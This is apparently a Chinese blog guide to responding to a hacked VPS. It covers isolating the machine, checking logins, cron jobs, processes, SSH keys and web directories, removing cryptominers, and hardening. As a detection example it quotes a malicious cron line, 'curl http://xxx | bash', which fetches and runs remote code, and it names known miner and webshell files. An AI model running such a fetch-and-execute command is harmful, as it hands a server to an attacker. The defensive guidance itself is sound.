服务器被黑了怎么办:应急处理流程
小够的服务器被黑应急流程:先确认、再隔离、后溯源清理,一套完整的排查清单与加固方案,别慌,按步骤来。跟着做就行,够用不折腾。
我是小够,只推够用的 VPS。
先说一句:服务器被黑,不是世界末日。我见过太多人一发现异常就手忙脚乱——直接关机、直接重装、甚至直接删机器,结果把取证的线索全毁了,黑客留的后门还在备份里,来回折腾三遍。这篇给你一套完整的应急流程:确认、隔离、溯源、清理、加固,一步一步来,慌也没用,流程才有用。建议收藏,真出事的时候照着走就行,不用临时到处搜教程。
第一步:先确认,是不是真的被黑了
别一看到 CPU 100% 就喊被黑。先看这几个信号,两个以上中了再按被黑处理:
- CPU / 带宽异常:机器什么都没跑,CPU 常年 90% 以上,或者流量统计里出站流量暴涨(被当矿机、被当肉鸡发包了)。
- 出现不认识的进程:
top里有叫kdevtmpfsi、kinsing这类奇怪名字的进程——这两个是挖矿木马的经典名字,看到基本实锤。 - SSH 登录记录异常:
last命令看到半夜三点有陌生 IP 登录成功,或者/var/log/auth.log里满屏的 Failed password。 - 文件被改动:网站首页被挂马、多了不认识的 PHP 文件、crontab 里多了定时任务。
- 商家发警告:收到商家邮件说你的机器对外攻击、发垃圾邮件、端口扫描——这时候别觉得是误报,先查。
排除法:如果只是 CPU 高,先看是不是自己的定时任务、备份脚本、网站被爬虫刷了。htop 按 CPU 排序看一眼进程归属,iftop 看流量去向,很多"被黑"其实是自己程序的 bug。
第二步:隔离,但别急着关机
确认被黑之后,很多人第一反应是关机。这步错了:关机等于帮黑客擦掉内存里的证据,而且重启后木马的自启动项照样会起来,等于白关。
正确做法是网络隔离,机器保持运行:
- 先断外网不断机器:在商家后台的防火墙(或者云平台的安全组)里,把出站规则全禁掉,只留你自己的 IP 进 SSH。Vultr、DigitalOcean、Linode 这些大厂云后台都有防火墙面板,几分钟就能配好;小商家没有面板的,用
iptables本地封:iptables -P OUTPUT DROP再放行自己的管理 IP。 - 改掉所有密码和密钥:SSH 密码、数据库密码、网站后台密码、API 密钥——假设全泄露了,先改了再说。注意:要在隔离之后改,不然改完黑客照样能看到。
- 快照/镜像备份现场:如果商家支持快照(Vultr、DO、Linode 都支持,搬瓦工这类也有),先打一个快照。这是"犯罪现场",后面溯源、或者清理失败要回滚都用得上。快照打完,记得这个快照本身是被污染的,只能用来分析,不能直接恢复上线。
隔离做完,机器还在跑,但黑客进不来、数据出不去,你就有时间慢慢查了。
第三步:排查清单——黑客一般藏在哪
按这个清单从上到下过一遍,90% 的入侵痕迹都在这几个地方:
1. 登录痕迹
last # 看最近登录成功的记录
lastb # 看登录失败的记录
cat /var/log/auth.log | grep "Accepted" # Ubuntu/Debian
cat /var/log/secure | grep "Accepted" # CentOS 系
重点看:有没有陌生 IP 登录成功、有没有新建的不认识的用户(cat /etc/passwd 看最后一行)。
2. 定时任务
crontab -l # 当前用户的定时任务
crontab -l -u root # root 的
ls /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/
木马最喜欢藏在这里:一条 curl http://xxx | bash 的定时任务,每分钟拉一次,保证你杀了进程它还能复活。
3. 可疑进程和网络连接
ps aux --sort=-%cpu | head -20 # CPU 占用最高的进程
netstat -tulpn # 监听的端口
ss -tunap | grep ESTAB # 正在建立的对外连接
对外连到陌生 IP:端口 的进程,记下 PID 和路径,基本就是木马本体。
4. SSH 后门
cat ~/.ssh/authorized_keys # 有没有多出来的公钥
cat /root/.ssh/authorized_keys
黑客最爱干的事:往 authorized_keys 里塞自己的公钥。这样就算你改了密码,他照样能免密登录。看到不认识的 key,直接删。
5. 系统文件被篡改
ls -lt /usr/bin/ | head # 最近被改过的系统命令
which ls ps netstat # 有些木马会替换这些命令来隐藏自己
如果 ps、netstat 这些命令的修改时间很新、或者 ls 看不到可疑进程,说明命令可能被替换了。这时候用 busybox 这类静态编译的工具再查一遍,或者直接看 /proc/ 目录。
6. 网站目录
网站被黑多半是 Web 层面的:上传漏洞、老版本 WordPress / 插件漏洞。查 find /var/www -name "*.php" -mtime -7 看最近 7 天新增的 PHP 文件,名字像 alfa.php、wso.php、shell.php 的,基本就是 webshell。
第四步:溯源——找到入口,不然白清理
清理之前必须回答一个问题:黑客是怎么进来的? 找不到入口,清理完第二天照样被黑。常见入口按概率排序:
- 弱密码 / 密码复用:123456、和邮箱一样的密码、所有机器一个密码。SSH 爆破是全网 24 小时不停的,弱密码机器平均几天就被扫出来。
- SSH 密码登录 + 默认端口:22 端口开着、允许密码登录,等于门口挂了个"欢迎爆破"的牌子。
- 应用漏洞:WordPress 插件两年没更新、宝塔面板老版本、Redis 未授权访问、Docker API 2375 端口裸奔。这些是批量扫描的重灾区。
- 供应链 / 钓鱼:在自己电脑上中的马,顺着 SSH 密钥摸上服务器的也有。
溯源方法:看 auth.log 里第一次成功登录的时间和 IP,看网站 access log 里攻击 payload 的时间点,两个一对,入口就清楚了。实在查不出来,按"全部入口都堵上"的思路做加固(见第六步)。
第五步:清理——能重装就重装
小够的建议很直接:个人小站、没复杂环境的,直接重装系统。这是唯一能 100% 确认干净的办法。清理木马听起来省事,但 rootkit 级别的后门你查不出来,留着就是定时炸弹。
重装流程:
- 备份数据(只备份你自己的数据:网站文件、数据库 dump、配置文件;别备份整个系统);
- 商家后台重装一个干净的系统(选 LTS 版本,Ubuntu 24.04 LTS 或 Debian 12);
- 人工检查备份里有没有 webshell / 可疑文件,确认干净再传上去;
- 数据库导入前也检查一遍,有些木马会在数据库里插恶意触发器;
- 按第六步做加固,再上线。
不能重装的情况(生产业务、环境复杂):按第三步的清单手动清理——杀进程、删定时任务、删后门用户、删 authorized_keys 里的陌生 key、删除 webshell、恢复被篡改的系统文件。清理完跑一遍 rkhunter --check 或 chkrootkit 扫 rootkit。清理完 24 小时内盯着日志,确认没有复发。
第六步:加固——别让同样的事发生第二次
被黑一次是学费,被黑两次是学傻。加固清单,按重要性排序:
- SSH 只用密钥登录,禁用密码:
PasswordAuthentication no,这是性价比最高的一条。密钥自己电脑上生成,ssh-keygen一把梭。 - 改 SSH 端口 + fail2ban:改端口防不住定向攻击,但能挡掉 99% 的批量爆破;fail2ban 自动封禁爆破 IP,双保险。
- 非 root 用户 + sudo:禁用 root 直接登录,日常用普通用户加 sudo。
- 自动安全更新:Ubuntu 开
unattended-upgrades,Debian 同理。很多入侵利用的是"已知漏洞 + 没打补丁"。 - 最小化暴露面:用
ufw/ 安全组,只开必要的端口。Redis、MySQL、Docker API 这些,永远不要直接暴露在公网——这是新手被黑的重灾区。 - 网站程序保持更新:WordPress 核心、主题、插件,有更新就升。实在不想折腾的,用商家一键包也要记得定期更新。
- 定期备份:参考本站的 VPS 备份方案:321 原则,备份是最后的兜底,被黑、商家跑路、自己手滑删库都靠它。
商家能帮你什么、不能帮你什么
实话实说:服务器被黑,商家基本帮不上忙。VPS 是 unmanaged(非托管)的,系统里的事商家不管,这是行规。大厂云(Vultr、DigitalOcean、Linode)和便宜 VPS 在这点上没区别。
商家能做的只有三件:快照/重装、后台防火墙/VNC 进机器(SSH 挂了的时候救命用)、发滥用警告告诉你机器在对外攻击。买机器的时候看看有没有快照功能、防火墙好不好用,关键时刻能省大事。具体商家后台功能可以看本站的商家后台面板导览。
挖矿木马:最常见的入侵长什么样
说个实话:个人 VPS 被黑,十次有八次是被当矿机了。黑客对你那点数据没兴趣,他要的是你的 CPU 和带宽。挖矿木马有几个典型特征,认出来就能快速定位:
典型症状:CPU 常年 90%+,进程名伪装成系统进程(kdevtmpfsi、kinsing、ddg、systemd-private 这类),删了过几分钟又复活,crontab 里有定时下载脚本的任务。
为什么删了又复活:木马一般是"三件套"——主进程 + 守护进程 + 定时任务。你只杀主进程,守护进程会立刻拉起;你连守护进程一起杀,定时任务下一分钟又下载回来。必须三件套一起清:先 crontab -e 删定时任务,再杀进程,最后删文件,顺序别反。
文件藏在哪:常见位置是 /tmp/、/var/tmp/、/dev/shm/(这个目录重启清空,所以木马爱用)、用户家目录下的隐藏文件夹。ls -la 看隐藏文件,find /tmp -type f -mmin -60 找最近一小时新增的文件。
特别提醒:挖矿木马一般不破坏数据,它只想安静挖矿。所以中了挖矿木马反而是"好消息"——说明入侵者大概率没动你的数据。但别掉以轻心,能进来的入口,别人也能进来偷数据。
不同用途的机器,应急重点不一样
建站的机器:重点是网站目录和数据库。先下线网站(503 维护页),防止挂马页面继续坑访客;检查数据库有没有被插恶意内容(WordPress 的 wp_posts 表、wp_options 表是重灾区);恢复前把网站程序升到最新版,不然就是给黑客留着门。
跑业务的机器(电商、API 服务):重点是数据完整性和密钥。假设所有 API 密钥、支付回调密钥都泄露了,全部轮换一遍;检查有没有数据被导出(看数据库的慢查询日志、看异常的大流量出站);如果涉及用户数据,评估一下要不要通知用户——瞒报的代价比通报大得多。
学习折腾的机器:重点是别连累别人。学习机被黑最常见的是被当跳板去攻击别人,商家发滥用警告、甚至直接封机器的,多半是这种情况。先隔离,再慢慢查,不着急,反正上面没重要数据。
事后 72 小时观察清单
清理(或重装加固)完别就撒手不管,黑客可能留了你没发现的后门。72 小时内每天看一眼:
-
last有没有陌生登录 - CPU / 流量有没有异常波动(商家后台的监控图最直观)
-
crontab -l有没有新增任务 - 网站目录有没有新增可疑文件
-
auth.log里爆破尝试的量级(有尝试很正常,量级暴涨不正常)
72 小时风平浪静,基本算过关了。之后把检查频率降到每周一次,配合自动化的监控告警(可以看本站的监控告警自建,Uptime Kuma 配一台 512M 的小鸡就够)。
进阶:想彻底一点,还可以做这些
上面是"够用"的流程,如果你想再往前走一步:
- SSH 证书登录:比密钥更进一步,适合管多台机器的人,给每台机器发短期证书,离职/换电脑直接吊销,不用满世界删公钥。
- 入侵检测:
AIDE或Tripwire做文件完整性监控,系统文件被改了立刻告警。配置有点折腾,适合爱折腾的人。 - 异地登录告警:写个小脚本,SSH 登录成功就发 Telegram / 邮件通知。半夜三点收到"你的服务器有人登录了"的推送,比什么监控都提神。
- 定期演练:每季度按这篇的流程走一遍排查清单,就当体检。真出事的时候,熟练度就是止损速度。
联系商家:什么时候该找,找的时候说什么
前面说了,商家不管你系统里的事,但有两种情况必须找商家:
1. 收到滥用(Abuse)警告:邮件标题一般是 “Abuse Report” 或"滥用投诉",意思是你的机器在对外攻击、发垃圾邮件、端口扫描。别慌,也别无视——无视的后果是商家直接关机甚至删机器。正确姿势:先按上面的流程隔离排查,然后回一封工单,说明"已发现异常进程,正在处理 / 已重装",附上处理结果。大厂云对 abuse 的容忍度是按次算的,处理态度好一般不会直接封号。
2. SSH 完全连不上:木马把 sshd 搞挂了、或者你把自己锁在防火墙外面了。这时候用商家后台的 VNC / 控制台进去,这是救命通道。买机器时就确认有没有这个功能,别等出事了才发现没有——本站的商家后台面板导览里列了各家后台一般带哪些功能。
跟商家沟通记住一条:说事实,不说情绪。工单写清楚"什么时候发现的、看到了什么异常、已经做了什么处理",客服处理起来快得多。英文工单也一样,简单句+时间线,比大段抒情管用。
要不要报警?看情况
个人小站被当矿机,报警基本没用——攻击 IP 全是境外肉鸡,查不到源头,警察也爱莫能助。但以下情况建议留证据、考虑报警:
- 数据库被拖库,且涉及他人个人信息;
- 被勒索(文件被加密、收到勒索信);
- 损失金额较大,且有明确的境内线索。
证据怎么留:被黑期间的日志(auth.log、网站 access log、数据库日志)打包存好,快照留着别删。这些现在用不上,万一哪天用上了,没有就是真没有。
常见问题
Q:发现被黑第一时间该做什么?
A:三件事按顺序:网络隔离(封出站、只留自己 IP 进 SSH)、改掉所有密码密钥、打快照留现场。别急着关机,别急着重装,先保住证据和数据的控制权。
Q:小网站没人访问也会被黑吗?
A:会。黑客不挑食,全网扫描是自动化的,弱密码、未授权 Redis、老版本面板,扫到就进。机器一上线就在被扫描,跟你网站有没有流量没关系。
Q:重装系统数据就全没了吗?
A:所以平时就要备份。应急时先只备份自己的数据文件和数据库,别整机备份(会把木马一起备回去)。备份方案看本站的 VPS 备份 321 原则。
Q:改 SSH 端口真的有用吗?
A:对批量爆破有用,能挡掉绝大多数无脑扫描;对定向攻击没用。所以改端口 + fail2ban + 密钥登录三件套一起上,别只依赖改端口。
Q:商家会主动帮我清理木马吗?
A:不会。VPS 默认都是非托管的,系统层面的事商家不负责。商家能做的是快照、重装、防火墙、VNC 救援。清理和加固是自己的事,或者花钱请运维。
Q:快照里有木马,还能用来恢复吗?
A:不能直接恢复上线。被污染的快照只能用来取证分析(比如对比文件差异找后门)。要恢复业务,用重装后的干净系统 + 人工检查过的备份。
Q:怎么判断清理干净了?
A:三个标准:72 小时内没有异常登录、没有新增可疑进程和定时任务、流量曲线恢复正常。都满足,基本算干净了。之后保持每周看一次日志,配合监控告警长期观察。